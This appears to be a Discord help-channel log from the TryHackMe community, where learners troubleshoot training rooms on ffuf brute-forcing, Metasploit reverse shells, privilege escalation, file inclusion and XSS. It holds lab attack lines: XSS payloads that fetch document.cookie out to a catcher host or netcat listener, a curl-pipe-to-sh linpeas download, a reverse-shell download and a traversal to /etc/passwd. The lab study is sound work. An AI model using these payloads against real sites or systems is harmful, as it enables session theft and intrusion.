Juun, thanks for the explanation on that stuff btw. It cleared some things up for me that I was trying to draw the lines to in my head. I ran a hash through john and doing a single one like that it completed in about 10 seconds and spit out the answer.

[next lance]

Gave +1 Rep to @slate sinew

[steel bane]

anyone know why this ffuf command is not returning any results for me from the authentication bypass room?

https://tryhackme.com/room/authenticationbypass

Already confirmed the uname/pass im looking for is in the verbose output from ffuf if i remove the filters but its returning a 200 http status code. where as if i narrow it down to this it returns a 302 status code...

[lapis lake]

check your directories for both valid_usernames.txt and your wordlist location.
Make sure you're launching the command from the same directory where valid_usernames is.
make sure you only inputed the usernames in the file properly, so extra spaces or anything, each username needs to be on it's own line.
to check your path for the wordlist just do locate 10-million-password-list-top-100.txt for easy confirmation

Even your adjusted syntax should work perfectly fine. I can't see any errors in it.

[steel bane]

@lapis lake That's the thing that's driving me nuts here. Thats the output im getting...its checking both wordlists against each other. The output in the pic is the answer but for some reason its returning a 200 status... but if i just run it with one word list against like this-

ffuf -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt -X POST -d "username={correctUserNameHere}&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://{targetIP}/customers/login -fc 200... it will return a 302 status. letting me know its fuzzed the correct pass

ffuf result when i just put in each username one at a time against a password list

[lapis lake]

well 302 is a redirect, so after posting both correct credentials it's only natural you'd get 302, since your method is POST.

I'm not an expert in this, but in my mind, 200 code is used to check which brute force attempt is correct, so it goes through names till 200 is found then goes through password for 200, when both are A-OK, it logs you in, which results in a 302

I'm sure someone can explain it better than my ooga booga brain. 😂

[steel bane]

I guess the problem is that I can't seem to get it to POST both correct credentials when i try to run it with 2 wordlists. not a big deal in a THMroom when you only have 5 usernames to cycle through but would be incredibly tedious in a real life scenario when you might have to run 1000's of users against a much larger password list

Anything with a 200 status return is useless to me here because everything you send it returns 200 even if its the wrong credentials. The -fc 200 is to filter those results out because the redirect is what I'm looking for to tell me I found the right credentials. No worries though if anyone has a clarification for me that'd be dope but probably just going to work with another fuzzing script and move on

[shadow echo]

Did you create the valid usernames file on your own, or is it the file you received as output from the previous task ?

[steel bane]

output from the previous task

[shadow echo]

Create a new file with touch new_valid_usernames and then manually write the usernames in it by hand

[steel bane]

@shadow echo got it to do what i wanted finally. Thanks, i pretty much restarted the room and the machine. Messed around with wfuzz for a while too but i don't like it as much doesn't accept as many args and the output is messy

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

So you didn't get it to work with the manually created usernames file in ffuf ?

[steel bane]

@shadow echo not at first but i think the machine i spun up for the room was acting up. I termed it. deleted all the other txt files i made and basically restarted from that step. I wrote the unames in mousepad manually and ran ffuf again because idk... when i used nano or touch to make the txt file it wasn't running anything but the last uname in the list

[shadow echo]

Alrighty

[steel bane]

but yeah it was helpful thanks.

[hollow lynx]

Hi everyone, sorry to ask but can't find how this work 😦

Basically i've done the jr pentester path few weeks ago but lately i've seen that i could've got tickets from this path that could lead to prizes. So i went to check how many i've got but looks like i didn't get any. I surely missed something could someone explain me what ?

thx 🙂

[warm crypt]

Tickets were a limited time thing.

We're celebrating the release of our new Jr Penetration Tester learning path - complete a room that's part of this path and win tickets, get 3 of the same to redeem a prize. If you're a free user you can win 1 ticket, however subscribed users can win 2 tickets.

The ticket promotion ends on the 31st of October 2021

https://tryhackme.com/room/tickets2

[neon meteor]

Any idea why OS detection might fail in nmap04? I guessed the right answer but running nmap ip -O I get no exact matches for the host

[sullen perch]

i cant run linpeas

welppp

[sage current]

did you mark the script as executable

[sullen perch]

i downloaded the repo using git clone

i dont see linpeas.sh

[sage current]

oooh

the download for the linpeas.sh is here: https://github.com/carlospolop/PEASS-ng/releases @sullen perch

the entire repo is for building the script yourself

if you want a link you can curl to download the script it would be this currently but might change later at newer releases:
https://github.com/carlospolop/PEASS-ng/releases/download/20220207/linpeas.sh

@sullen perch ⬆️ hope this helps

[hollow lynx]

Alright, thx for letting me know and soz for this dumb question🙂

[next lance]

Gave +1 Rep to @warm crypt

[warm crypt]

It's not a dumb question, lol. Even I didn't know this until a checked the linked room

[hollow lynx]

Well I read them yesterday but I may have misunderstood what it said, wish there was a french THM :p

[sullen perch]

i dont get linpeas

still cant figure out how to run

or install linpeas

i git cloned it

whats next?

[sage current]

you don't git clone linpeas but get it from the github releases page

or if you are looking at the readme here: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
to download linpeas locally you do: ```

From github

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

@sullen perch ⬆️

[sullen perch]

so i mounted but i cant see thses files in target machine

this is from linux pricv esc NFS

[delicate tide]

Iirc you're supposed to mount /backups

can you show the output of showmount -e <machine_ip>

[tardy dock]

I need help with the username enumeration with ffuf its just giving me numbers not name? I don't know what I did wrong...

I got it that you

[stiff patio]

Thanks Luma I know it was while ago you gave this advice but it help me today lol

[next lance]

Gave +1 Rep to @opal furnace

[low wolf]

Hi All, running through Metasploit: Exploitation, on Task 6 the instructions are a little too vague for me to understand where and how to perform each action. I used the attacking machine to ssh into the box, I used another terminal to launch the .elf payload. but this part "use wget http://ATTACKING_10.10.129.24:9000/shell.elf to download it to the target machine" i dont understand where to perform this command (in the ssh? on the attacking terminal?) or how to edit the command so that it works (both IP's?).

[idle bison]

Remove ATTACKING_ from that

[low wolf]

thanks @idle bison that worked for downloading attacker to box, but when i run ./rev_shell to launch the reverse shell it says permission denied, but I am root on the box

[next lance]

Gave +1 Rep to @idle bison

[idle bison]

chmod

[low wolf]

H4CKERM4N does it again thanks @idle bison

[sullen perch]

while doing dll hijacking, my kali has turned to windwos theme

idk how to go back to default kali

what???how this happened?

look at these , i dont like it

i wonder how it happeded/

?

☹️

[quartz schooner]

The first step qoth trouble shooting is to ask what changed, right? Can you roll back?
If you do not have a lot of settings changes, reimaging might be an option?

[sullen perch]

the problem was it swithed to undercover mode automatically

i had no idea as well

its so cool

[signal oak]

hi

when should I start doing CTFs ?

I did pre security, now in JR pentester I'm doing burp suite

I feel like I'm just learning but not practicing

[delicate tide]

I think you should. You'll probably find yourself following writeups but you'll be learning nonetheless. It's good to get your hands dirty alongside the learning paths at least in my experience so far.

You can begin to utilize the tools you've been learning about

[signal oak]

thanks I'll try

[next lance]

Gave +1 Rep to @delicate tide

[copper wadi]

Guys,my friend and I are eager either join or create a team,so anyone interested dm for further discussion)

[delicate tide]

Yep i saw you message the same thing in another channel. Don't think youre supposed to be doing that.

[copper wadi]

Definitely am supposed cause post it)

Weird maaan

[low wolf]

Hi all, still running into issues with Metasploit: Exploitation initializing a reverse proxy, I launched the .elf downloaded it to the box, chmod to run the rev_shell.elf, started msfconsole, use exploit/multi/handler, set payload php/reverse_php, set attacking system IP and port from rev_shell, msfconsole output "Started reverse TCP handler on 10.10.32.231:9000", box output "Segmentation fault (core dumped)" where do I run the hashdump module? where is the shell?

[worldly orchid]

did you set local host and port?

[low wolf]

on the exploit? yes for sure

[worldly orchid]

did you set your attack machine running the handler to listen before executing the rev_shell on the target?

is this the eternal blue payload?

[low wolf]

i never tried running the handler first... ill go through the steps again the attackbox was disconnected

no this isnt eternal

[shadow echo]

Make sure you are using the same payload for your handler as you used to generate the .elf file in msfvenom

[worldly orchid]

https://github.com/rapid7/metasploit-framework/issues/12142

[low wolf]

so if it generates a tcp rev shell then i need a tcp payload?

[worldly orchid]

that article may help as well, looks like a similar issue

[shadow echo]

Not only it has to match the tcp part, it has to match exactly the payload you used in msfvenom

[worldly orchid]

make sure the slashes and underscores match up exactly

[low wolf]

that was it! i changed my payload to linux/x86/meterpreter/reverse_tcp, and started the shell after i ran the exploit

now i have a running shell! thank you @worldly orchid and @shadow echo

[next lance]

Gave +1 Rep to @worldly orchid

[low wolf]

thank you @shadow echo

RIP Rep

[shadow echo]

You are welcome, not a big deal because of the rep 🙂

[next lance]

Gave +1 Rep to @shadow echo

[worldly orchid]

glad you got it figured out!

[vivid quiver]

Hello guys, I'm doing the Metasploit module, but I'm facing difficulty using the search command because it usually returns too many modules. Is that a way that it would return only modules that match all the terms that I want? For example, I would like to search for a module that contains the terms 'smtp' AND 'relay'

[shadow echo]

Just write the keywords? So search smtp relay

[vivid quiver]

Ok, but this way it acts like "search smtp OR relay", which ends giving more results than only searching for 'smtp'. Maybe it don't have another way, but I only want to be sure

[shadow echo]

What's the version of metasploit you are using? As that's the result I get with that search:

[vivid quiver]

I get it. I'm using msf5

Thank you!

[ruby smelt]

I'm on authentication bypass task 3 and not sure what I'm doing wrong here. I outputted the users from task 2 into a text file and cleaned it up, but still nothing.

Oh. Hmm. cating the file outputs nothing, but if I nano into it I can see them.

Aha, had to tell nano to save the file as DOS format instead of Mac format

[cedar lichen]

@ruby smelt aha!

[pearl drum]

hi guys i just passed my eJPT exam today... thank you for all the support ❤️

[lapis lake]

well done, congratulations 🎊

[dusky saddle]

Congratulations! Are you going to try for another certification or are you staying with this one?

[cold tulip]

Hello, kinda new here. I have A+ and Sec+, attempted Net+ and will again. Striving for a career in Pentesting. I assume this is a good place to come for career path advice?

k

[idle bison]

Please don't ask the same question over several channels

[swift copper]

I got a question on a cross site scripting question in jr pentesting ive been stuck on

[white atlas]

can anyone help me with rlwrap

[coral fractal]

In -fs switch what size should i use in subdomain enumeration

[winged gull]

Hello... I am new here...

I need a guide to go further in cybersecurity...

[shadow echo]

#start-here

[pearl drum]

for now i stick for this one. after I grad ill grab another certificate

[worldly orchid]

I'm going through Windows Privesc room and the target machine I'm supposed to use for Task 6 does not have internet access. I don't understand how I'm going to reverse shell a machine with no internet access. Is there an issue or am I missing something?

yes

yes that's cool, I can wait

ah, thanks for trying

I have tried it a few times

I also watched a tutorial on youtube and in the video the guy's target machine has internet access

yes

I don't think it's intended because the directions say you can connect to the target system:

You're supposed to generate a msfvenom payload and move it to the target machine

none of this can be done if the target has no internet

I also can't ping the target from the attackbox

[lapis lake]

windows machine's don't respond to pings

All Victim machines do not have internet access for obvious reasons.

[worldly orchid]

Where does it say that?

Oh that's on all the THM victim machines?

[shadow echo]

"Victim machine" sounds so terrible, we are not looking for victims 😄

[worldly orchid]

yeah haha

target machines I guess

[shadow echo]

Sounds better, ye 😄

[lapis lake]

THM Reddit mod's words, not mine 😂

[worldly orchid]

I see, so it should still work

[nimble portal]

Target machines are connected to thm network that you can access using either the attack box in browser or OpenVPN on your own machine or VM. They don't need to have access to the internet.

I recommend going through some basic networking concepts to understand how networks and VPN work

[idle bison]

You're in a LAN with the target. You use your tun0 ip, that's your VPN IP that's on a lan with the target.

[worldly orchid]

OH, that makes total sense. I can understand why the targets are configured that way. Thanks for the clarification!

[next lance]

Gave +1 Rep to @idle bison

[hidden linden]

Hey guys, just working on Linux PrivEsc: Privilege Escalation: PATH and I'm a bit stuck on something. When I run the path app, it doesn't launch a bash session as root. I noticed the first few steps in the screenshots we performed as root on the target machine. Could that be the reason?

karen@ip-10-10-133-158:/tmp$ ls -l path
-rwsr-xr-x 1 karen karen 8392 Feb 14 20:00 path

karen@ip-10-10-133-158:/tmp$ ls -l thm
-rwxrwxrwx 1 karen karen 10 Feb 14 20:10 thm

permissions look correct

or the SUID bit is set

[idle bison]

Not to me, it's not root owned

[hidden linden]

ah yeah, of course

ermm so I need to compile it as root then on the box but in the guide I don't see where I gain root on that box

oooh so it needs to be an existing file owned by root but that karen has write permissions to?

no

[idle bison]

When you write it, it'd kill the suid permissions

I'd recommend pausing that linux privesc room and doing Deja Vu if you want what is, in my opinion, a very thorough explanation of the PATH exploit.

Full disclosure, I did create it but I've had a lot of positive feedback over that explanation

[hidden linden]

hahah OK mate, I will do that. Thanks for the suggestion

[idle bison]

https://tryhackme.com/room/dejavu

[hidden linden]

Yup yup, already on it. Thanks again @idle bison

[next lance]

Gave +1 Rep to @idle bison

[hidden linden]

Sorry @idle bison but I must still be missing something. In your room, the ServerManager app is already owned by root with the SUID bit set

My issue was that in the screenshot, the path app is compiled by root but I don't see where you gain root in that room

gcc doesn't exist on the box and can't be installed by karen

so I compiled it on my own box and transferred it over but then it only has Karen's permissions

am I supposed to follow the guide precisely or should I be trying to get root some other way to compile the app on the target box?

or should I drop back down to a standard user as in the screenshots. if the latter is the case, it doesn't make sense to drop back down to a standard user to complete the task so I think I must be missing something important

Gave -1 Rep to @idle bison | James

Kidding...

[idle bison]

So you can't get root from it, it seems

[nimble portal]

This was a little confusing for me as well before I read the hint in that task. There is already compiled executable that will run the 'thm' you created and set the suid bit in the process

Hint ||You can add the writable directory to your user's PATH and create a file named "thm" that the "./test" executable will read. The "thm" file can simply be a "cat" command that will read the flag file.||

[signal oak]

hi

I'm doing burp intruder

out of scope requests are caught by the proxy

I don't understand why

I've set it in the target tab, and I disabled logging of out of scope proxy traffic

does anyone have a clue

and yes I've checked "in target scope" in the proxy options

sorry I meant they're intercepted

in my "include in scope", there's the target IP (the Bastion Hosting website)

and in my "exclude from scope" there's nothing

when I turn intercept on, everything is intercepted, out of scope requests too

they're not suspended because the pages load on my browser

but they show up in the proxy

yes

this is checked

they show up in the proxy, in the intercept tab, like they were intercepted, but the pages load

for example as soon as I turn my intercept on it intercepts my twitch requests even tho it's out of scope, but without stopping the twitch requests

I still have the forward and drop buttons clickable

you want the whole thing?

what is that

everything works fine now

thank you

[modest arch]

Hey guys, i'm actually doing the Windows Privesc room and I don't know why but it seems that the command "sc" in Powershell is not working
when I'm running for example:
sc qc "FoxitReader"
i do not have any result
do you know why ?
thx for the help🙂

[shadow echo]

sc is an alias for set-content in powershell. So either run that command in CMD or use sc.exe

[modest arch]

@shadow echo thank you, i've just realized what I was doing wrong, I was running it in Powershell...

[next lance]

Gave +1 Rep to @shadow echo

[gusty swallow]

Hey doods, I'm at the last point question in the File Inclusion

Can I host a file to make the website fetch?

[shadow echo]

You can, yes

[gusty swallow]

cheers, looking into it

[gusty swallow]

Thanks for the tip, saved my sleep tonight 😄

[next lance]

Gave +1 Rep to @shadow echo

[worthy ridge]

Hello. I'm having an issue with the Linux PrivEsc room, Task #2. I've seen others with the same issue but no solutions. The issue is in creating the UDF I get a file too short error. See below:
mysql> create function do_system returns integer soname ‘raptor_udf2.so’; ERROR 1126 (HY000): Can’t open shared library ‘raptor_udf2.so’ (errno: 22 /usr/lib/mysql/plugin/raptor_udf2.so: file too short)

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[wispy storm]

Hi. I'm trying to do an attack using burp intruder. In BurpSuite Intruder room give us username and pass credentials when try to do attack there is no 200 response for credentials. Can anyone help me ?
room link: https://tryhackme.com/room/burpsuiteintruder
Task:10

[cosmic bobcat]

Hello everyone,I need help in the last task in the xss room

After decrypting the hash I can't complete the task

[shadow echo]

Did you open the ticket with the payload that you created on your own ?

[cosmic bobcat]

yes

[shadow echo]

Then that's the reason, you only received your own session cookie, instead of the session cookie of a staff member

You have to wait until the automation that's behind is getting triggered to open your ticket as a staff member

[cosmic bobcat]

mmmm,ok

It steel not working

[shadow echo]

Maybe you have to restart the target machine and create a new ticket and/or use the request catcher, this machines task is a bit finicky

[cosmic bobcat]

Thanks

[sand wigeon]

I need help

In pickle rick

Anyone here?

[idle bison]

-unmute @sand wigeon Please don't try to ping everyone. There's 120 thousand people in this discord, it'd be very rude to ping them all at once.

[next lance]

🔊 Unmuted kalyugera#4869

[sand wigeon]

Sorry 🙇🏻‍♂️

[gusty swallow]

I'm only 20% done but maybe i can help?

[gusty fulcrum]

Still need help?

[wispy storm]

No I solved that. thanks

[next lance]

Gave +1 Rep to @gusty fulcrum

[quartz schooner]

I really hope that is not enabled in the server for anyone.

[runic lily]

Nmap Advanced Port Scans - Task 2
Neither of these options return any open|filtered ports -sF, -sN, -sX

[shadow echo]

Could you send a screenshot of your results ?

[runic lily]

with -v or -vv?

[shadow echo]

Doesn't matter, just the final result nmap gives you after doing the FIN scan

[runic lily]

shit

forget it

I found the error myself

jeez, one should connect via VPN first.... -.- Sorry

forgot that I rebooted the VM after an update

[nocturne pivot]

Hello 😀 I am on Linux PrivESc Task 5. Kernel Exploits. I have transfered this exploit CVE-2015-1328 to the target machine by python webserver. But I am having problems executing the 37292.c file. I tried changing permissions also, in the screenshot. Does anyone have a helpful clue to help me complete this task? Thank you .

[idle bison]

It's a C file. C is a compiled programming language - before it can be executed, it must be compiled to a binary (executable, like exe) file

[nocturne pivot]

Got it! Thanks so much 👍😀 @idle bison

[next lance]

Gave +1 Rep to @idle bison

[sage current]

somehow gcc is easy to use with standard settings

[nocturne pivot]

OK @sage current thanks I will try gcc 👍 great support 😃

[sage current]

oh huh thought you already figured out how to compile the code

[nocturne pivot]

No not yet.

[sage current]

gcc is just one option but it is also a very good one to choose

[slate sinew]

gcc is not quite but almost universal across the entire linux space

[nocturne pivot]

Yep it worked with this gcc command: gcc 37292.c -o outp Thanks again for the help 😃

[thin ibex]

Hello😀 , I am working on the file inclusion room and I've been trying to find the third flag for a while now. I changed the get request to a post request since the get request does not accept special characters but even at that, when I include /etc/flag3%00 I still can not get the flag. I also tried path traversing but that still did not work. I need some help

[shadow echo]

Would be best if you verify in order to be able to send screenshots and then show a screen of your request

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[heady mesa]

why this return true? table name is 'users'

[shadow echo]

Maybe there is more then 1 table

[heady mesa]

thanks

[shadow echo]

No I meant a screenshot of the request you are making, not the error/warning you get as reply.

[shadow echo]

Okay, well that's most likely not going to work that way, as your %00 will get URL encoded if you send the request like that by using that file inclusion box. So try to use the network tab of the developer tools, or use Burp or curl

[final perch]

You need to do it in burp

[thin ibex]

Okay, let me try that. Thanks

[final perch]

Capture it in the proxy > send to repeater > at the bottom you need to include it by typing file={path to flag}

[final perch]

With the nullbyte at the end of the file request

Like fontaene said

[thin ibex]

I found the flag😃
Thank you for the help @shadow echo and @final perch

[next lance]

Gave +1 Rep to @shadow echo

[final perch]

Congrats sir

On to SSRF haha

[shadow echo]

+rep @final perch

[next lance]

Gave +1 Rep to @final perch

[sand wigeon]

Help me

Why dir is necessary

I just want to know 🙂

This is pickle rick room

[fierce aspen]

try gobuster dir - u ...

[sand wigeon]

Why there is a need for dir

[sand wigeon]

Can you please explain me?

[fierce aspen]

gobuster [Mode][Options]

the mode you're trying here is dir

gobuster dir -u $IP

[final perch]

I believe for that room just need basic dirb command

Either works

[final perch]

helps you find anything that you can take a look at that may not have been visible to you previously basically

[sand wigeon]

Yes you are right

But i saw walkthrough video of john hammond and he was just using gobuster -u.

[final perch]

Personal preference I think, I’m not that experienced lol

[sand wigeon]

So i just want to know why gobuster dir -u will be used.
I am new in this that's why i want to know.

[fierce aspen]

i think in the previous versions of gobuster you didn't have to specify the mode now you can do dns or vhost enum plus the dir

[final perch]

And also here need to replace $IP with actual IP address

[sage current]

2.0.1 doesnt need dir to be specified

seems it defaults to dir mode

this on ubuntu with the latest version of gobuster in the ubuntu repos

[sand wigeon]

Thanks a lot

[sage current]

apparently the ubuntu repo version is quite old according to the kali repo version

or well it is one major version behind only

[steel nexus]

Hi! I'm working in the room "Authentication Bypass". Having a problem with FUZZ. With all ffuf commands I get this error: Encountered error(s): 1 errors accured. * stat names.txt : no such file or directory. Has anyone else had this problem? How can I fix it?

[idle bison]

If it's an exported variable then...

[steel nexus]

Nobody care to help me?

[nimble portal]

Don't know your command, but that error is suggesting that it can't find the names.txt so try to provide the full path to the file

[sage current]

screenshot of the command and also a screenshot of catting said names.txt file

please and thank you

@steel nexus ⬆️

[steel nexus]

Yes. The problem was that the full path was not provided in the code. It is solved now.

[steel nexus]

Hi! I just don't get his "File Inclusion" . I understand the technique, but the logic is either very difficult or explained poorly.

[final perch]

Which part

Need to specify a bit

[small dirge]

hey anyone give reasorses to learn pentesting

from noob to advance

[final perch]

https://tryhackme.com/

[devout copper]

hi

In walking an application, I found a flag

but it wasn't used anywhere in the room

||THM{CHANGE_DEFAULT_CREDENTIALS}|| this was the flag

[sage current]

that rooms target machine is used for multiple rooms and things so of course it has some flags that feel unused but are used elsewhere

[devout copper]

lmao, I stayed for like 40 minutes trying to figure out what spelling mistake was ther

[sage current]

i.e used in other rooms

[cinder forge]

What are the advantages/drawbacks of gobuster vs duff vs dirb?

[sage current]

well duff is for sure the best drink out of the 3

but on a more serious note it has to do with availability and standard used list and how it formats outputs

[cinder forge]

Ooops I meant fuff. So they are basically equivalent?

[sage current]

nah they also have some special options that can be used that the others sometimes lack

when it comes to fuff that is

[cinder forge]

You mean fuff lacks some options or the opposite

[sage current]

the opposite

fuff has some options that are not included in gobuster

and gobuster does not run recursivliy on directories while dirb can and do by default @cinder forge

[cinder forge]

So fuff>dirb>gobuster in terms of options?

[sage current]

well nah sometimes one is better then the other but it is specific for just that specific use cases

[cinder forge]

OK thank you!

[sly valley]

h hhi...

[next meadow]

hello guys
i am working on the attactive directory room (windows active directory)
i keep getting this error "import error: no module named pyasn1.codec.der" whenever i use the GetNPUsers.py tool in impacket to query ASReprosatable accounts

please anyone with any suggestion

on how to tackle the issue

[violet solstice]

yo

[next meadow]

yeah i know

[hybrid rose]

Has anyone completed the room "Ice"? I having problem in one of the question.

while using the exploit, it is required to set the session right. When I set session 1, run the exploit it dosent work.

here is the exploit/windows/local/bypassuac_eventvwr

Module options (exploit/windows/local/bypassuac_eventvwr):

Name Current Setting Required Description

---

SESSION yes The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 1.1.1.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Windows x86

for the lhost im using my ip. so the problem is not there

how do i set it. I set it 1, but it is not working.

how do i set a session? when i list sessions it say I have no active sessions.

maybe. let me try again.

[hybrid rose]

Ooo i forgot to get back to you, it worked I used ctrl c instead of ctrl z. thankx buddy for the help

thankx buddy.

[open wadi]

Is the path free

[dapper tusk]

!docs freepath

[tiny bluff]

TryHackMe

That topic does not exist!

Use !docs to list all of the available topics.

From TryHackMe with ❤!

[dapper tusk]

https://tryhackme.com/resources/blog/free_path

[final perch]

Don’t think this one specifically is at certain point

But 10 it’s worth a trial if you got value from other free modules

[sage current]

uuum can shadow get some help with the Metasploit: Meterpreter room on task 5 question 2: shadow get this result when running the post exploit for that question:

it seems to kill the meterpreter session each time

how can shadow get around that???

[shadow echo]

Have tried to restart the target machine already and give it a good 5 mins to make sure it's fully booted ?

[sage current]

nope not tried that

but everything seemed to work... including getting a meterpreter shell back

just it seems to kill itself when shadow runs the post

anyways going to reboot the target and try again

[shadow echo]

Ye, maybe it's not solving the issue, who knows, but I guess that's the easiest thing to start trying with when it comes to weird behaviour

[sage current]

will keep you updated if it works better this time

[open wadi]

Well yea ik basic of other stuff but i wanted to learn more bout pentesting and i found this path so i was wondering if i have to get vip to learn this path

[sage current]

well turns out shadow could get the info form the sysinfo command in the meterpreter shell... the module did still not work but whatever when all the other stuff worked nicely

[cinder forge]

I'm in the LFI room. I managed to get to the passwd file in the lab n2 ||by requesting .. /.. /.. /.. /etc/passwd|| However, in order to determine the number of dot dot slashes, I had to manually increment it until getting the desired output. Could I have guessed the number of dot dot slash otherwise?

[vivid raft]

No, you just have to try until you get it as you don't necessarily know which directory you might be in

Although you could set up a script that would add" ../" everytime until the website gives you a different response

[sage current]

or you could just go with 20 ../ because if you try and access a dir over the root dir that way nothing happens and you just get the result you want

[shadow echo]

Were you able to see warnings/errors on the page when using the wrong amount of directory traversals? If yes, then you could have determined the amount.

[vivid raft]

Never knew this, will remember, thanks Shadow

[sage current]

shadow tends to do it by trail and error still but if shadow has a short amount of time they will just copy a super long string of ../ to do it that way

[neat rock]

when i try to move seclists from desktop to user/share/wordlists it gave me that error what can i do to it

[signal oak]

I'm doing Burp Suite hashing and at the end we have to find which key has the right hashsum of 3166226048d6ad776370dc105d40d9f8, I've tried hashing the keys with the last newline and without it but I never get the expected hashsum

I know it's ||key3|| I've looked it up but I can't figure out why I don't get the right hashsum

in Burp I hash it in MD5 then encode it in ASCII Hex

I'm copying the key from the first character to the last, with and without the last newline

[rigid ingot]

I'm looking to see if I can get it to match as well and if I recall I never did get Burpe Suite to show it correctly, I just did md5sum command in cli

When I do it in Burp Suite i get one that starts with d2fe

[cinder forge]

Oh that's neat

[cinder forge]

Yes, but there are several paths in the error message and I dont understand which one to use

[shadow echo]

You got a screenshot ?

[shadow echo]

So it's saying /var/www/html/lab2.php which is the page you requested in your url. Therefore you would need 4x ../ to get all the way back to the root directory.

So 1 time to get out of the lab2.php file itself, and 3 times to get back to the root directory.

[cinder forge]

But isn´t the directory name ¨includes¨?

[shadow echo]

Ah ye, you right there is an includes directory in the function.

[cinder forge]

Then it cant be /var/www/html/lab2.php right?

[shadow echo]

Sure, that's still the directory you are in. But it would be /var/www/html/includes then

[cinder forge]

which still makes 4 jumps... TY!

[shadow echo]

Scratch that last explanation about getting out of the lab2.php itself, I think I was wrong with that. So in case there would have been no includes directory in the function itself, it would have been just 3x the traversal to get back to the root directory. 🙂

[cinder forge]

Yes, I get that

ty

[signal oak]

even outside of Burp I can't get the right sum

[shadow echo]

Could you show a screenshot of the key in burp where the start and the end of the key can be seen ?

[shadow echo]

It seems you are missing parts of your key. The BEGIN OPENSSH and END OPENSSH parts belong to the key, so you can not remove them, otherwise your md5 is not right anymore

[signal oak]

oh wow

I didn't even think of trying that

[signal oak]

thank you

[next lance]

Gave +1 Rep to @shadow echo

[wintry thunder]

In the Blind XSS I can't seem to get netcat to work to catch the cookie, and the THM Request Catcher doesn't seem to be working either...I feel like im doing this right but Ive been waiting quite some time to get the request back...what should I do at this point?

I understand how it works, i just can't get it TO work lol

[shadow echo]

Are you using your own machine or the attackbox ?

[wintry thunder]

The AttackBox

[shadow echo]

Could you show me your payload ?

[wintry thunder]

</textarea><script>fetch('http://83765a8b378a4b5cfbf9924178f3134b.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script>

oh dunno why that showed up as a link but yea

[shadow echo]

Oh, I should have said, the payload for nc

[wintry thunder]

oh lets see

</textarea><script>fetch('http://0.0.0.0:9001?cookie=' + btoa(document.cookie) );</script>

[shadow echo]

That's not your attackbox IP. 0.0.0.0 only means nc is listening on all of your interfaces

[wintry thunder]

ooohhh

let me see if that works

how long does it usually take?

[shadow echo]

Not longer then 2 - 3 mins. But maybe you messed up the machine with the bad payloads you created previously

So restart the target machine

[wintry thunder]

Ill wait a bit longer and I can try to reset the machine and try again after that

[wintry thunder]

hmm still not doing anything

Ill come back and try again later tho.

[rose lagoon]

Anyone else have issues with the favicon md5 hash?

search says yes...nvm...will try what someone put in for a fix

nah right web address

[proud kiln]

I didn't. You still having issues?

[rose lagoon]

I just searched the answer. I had all the correct information but still was getting the incorrect hash value

[shadow echo]

What's the full command you used

[wide cloak]

What are you using to export OpenVas report to Excel?

By openvas you get a pdf or xml file but i heard some tools you can covert that info easly to excel.

[wintry thunder]

foo, my XSS practical does not seem to be working or capturing the cookie 😦 ive tried it in both netcat and the THM listener a few different times with the correct IP and correct listener link

</textarea><script>fetch('http://10.10.102.62?cookie=' + btoa(document.cookie) );</script>

And then for the other one it was </textarea><script>fetch('http:baa4f283199cac95a6a5c6a7013f1ead.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script>

For the netcat one i did nc -nlvp 9001 (oh and i forgot to add I added :9001 to the end of the ip in the script)

hmmm let me look around a bit

So is the IP address the one listed under "Active Machine Information" or the one listed in the terminal?

ok, tried that one too

[lofty merlin]

Did you ever find out about this im having the exact same problem, and rebooting the box didn't help, i can see the sitmap.xml under netowork but cant access it, was i missing something obvious?

[lofty merlin]

I lost my free attack box session so i need to subscribe, if i remember correctly it was 10.10.35.(maybe 137)

oh so i was using the wrong machine? Lmao! wow okay lol thanks for clearing that up!

[coral fractal]

I am in linux privsec kernal exploit
I am trying to move my exploit to the target machine and it says it does not have permission to write files
I am using wget method from httpserver (as it says in the task to do)

[shadow echo]

Then you have to look for a directory on the target machine where you have write permission in

[coral fractal]

Got the solution its tmp actually i had missed it

[rustic totem]

@shadow echo bro can i learn and join ethical hacking amd cyber security even though i am in commerce stream?

[shadow echo]

I wouldn't see a reason why not, as you are on tryhackme that means you already doing it. If you refer to a career, you might want to ask in #cyber-and-careers . There a probably people with more knowledge about it, but I wouldn't see a reason to why not there either. Read about the success stories here: https://tryhackme.com/resources/blog

[final perch]

Am I adding the .txt file incorrectly here? under metasploit room

Not sure what I've done wrong if anyone knows

[final perch]

thank you I had the path wrong lol

[next lance]

Gave +1 Rep to @steel nymph

[final perch]

long day

[cinder forge]

I can't manage to make the THM request catcher to work... sending screenshots

gimme a sec

I am coming to the same conclusion...

For the XSS room

I used NetCat, but since the room mentioned the THM catcher, I figured out I would try it

[maiden stratus]

adding it into /etc/hosts kinda works,

like so

[cinder forge]

But does the ¨victim¨ have the etc/hosts correctly set?

[maiden stratus]

yeh, that's the thing, It might not work correctly

better to use beeceptor, ig or a python3 webserver

[cinder forge]

Yep. So it is not a "me" problem then...

[maiden stratus]

no, it's definitely broken

[cinder forge]

I know these tools, just wanted to try new stuff

[sage current]

welcome to todays try a bunch of answers until one is marked as correct today in the room Linux PrivEsc ( https://tryhackme.com/room/linprivesc ) on task 3 last question

the benefits of having exploit databases like exploit-db

giving you a bunch of results that are all probably useable

[maiden stratus]

its a 2015 cve if you're still looking

[sage current]

nah figured it out after 3 tries

[idle bison]

Server/victim won't be able to resolve it though

[maiden stratus]

Yeh, I figured that after trying it

[slate sinew]

** more or less usable

[sage current]

yeah

[wintry thunder]

Glad im not the only person having a hard time with that XSS room!

[nocturne pivot]

